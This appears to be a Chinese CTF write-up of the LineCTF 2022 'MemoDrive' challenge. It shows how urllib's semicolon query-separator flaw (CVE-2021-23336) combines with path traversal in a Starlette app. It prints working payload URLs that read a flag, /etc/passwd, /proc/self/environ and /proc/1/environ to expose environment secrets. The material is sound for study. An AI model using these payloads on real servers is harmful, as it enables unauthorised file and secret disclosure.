LineCTF2022-MemoDrive
知识点概要:CVE-2021-23336、目录遍历
详情参考:urllib parse_qsl(): Web cache poisoning - semicolon as a query args separator
首页
有源码,关键代码如下
def view(request):
context = {}
try:
context['request'] = request
clientId = getClientID(request.client.host) #getClientID()为题目源码的函数,做了一个hash运算
if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
raise
filename = request.query_params[clientId]
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
f = open(path, 'r')
contents = f.readlines()
f.close()
context['filename'] = filename
context['contents'] = contents
except:
pass
return templates.TemplateResponse('/view/view.html', context)
def getClientID(ip):
key = ip + '_' + os.getenv('SALT')
return hashlib.md5(key.encode('utf-8')).hexdigest()
第15行全场唯一读文件方法readlines()
,只需让path变量为flag所在路径即可
按照题目源码框架,本地启一个环境测试一下,代码如下
from urllib.parse import unquote
import uvicorn
from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import JSONResponse
def view(request):
try:
clientId = "id"
print("request.url:", request.url)
print("request.url.query:", request.url.query)
print("request.query_params:", request.query_params)
print("unquote params:", unquote(request.query_params[clientId]))
if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
raise
filename = request.query_params[clientId]
print("filename:", filename)
print("request.query_params.keys:", request.query_params.keys())
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
print("path:", path)
except:
pass
return JSONResponse({"a":1})
routes = [
Route('/view', endpoint=view)
]
app = Starlette(debug=True, routes=routes)
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=11000)
浏览器访问
http://192.168.1.34:11000/view?id=flag;/%2e%2e
在部分python版本中,解析URL参数时,会将分号;
解析成参数分隔符&
,从而导致此题目可被利用
参考:urllib parse_qsl(): Web cache poisoning - semicolon as a query args separator
实际操作如下
先在首页上侧的文本框随便输入,点击SAVE
然后下侧文本框会显示一串数字,就是序号+时间戳生成的文件名,点击进去
可看到URL跳转到/view?5e9995136241f179475b3f35dab141a4=0_20230907112045
修改为如下,假flag(必须先走完上面的步骤,直接访问此路径无回显)
/view?5e9995136241f179475b3f35dab141a4=flag;/%2e%2e
等号后修改为如下,读/etc/passwd
etc/passwd;/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e
源码getClientID()
函数里有读取环境变量的代码os.getenv('SALT')
,那么可以尝试读当前进程的环境变量信息/proc/self/environ
,等号后修改为如下
proc/self/environ;/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e
已经可以看到SALT
环境变量,但提示flag不在此
读进程 ID 为 1 的进程环境变量/proc/1/environ
,等号后修改为如下
proc/1/environ;/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e
参考
https://blog.huli.tw/2022/03/27/linectf-2022-writeup/
https://blog.csdn.net/weixin_60581972/article/details/127122199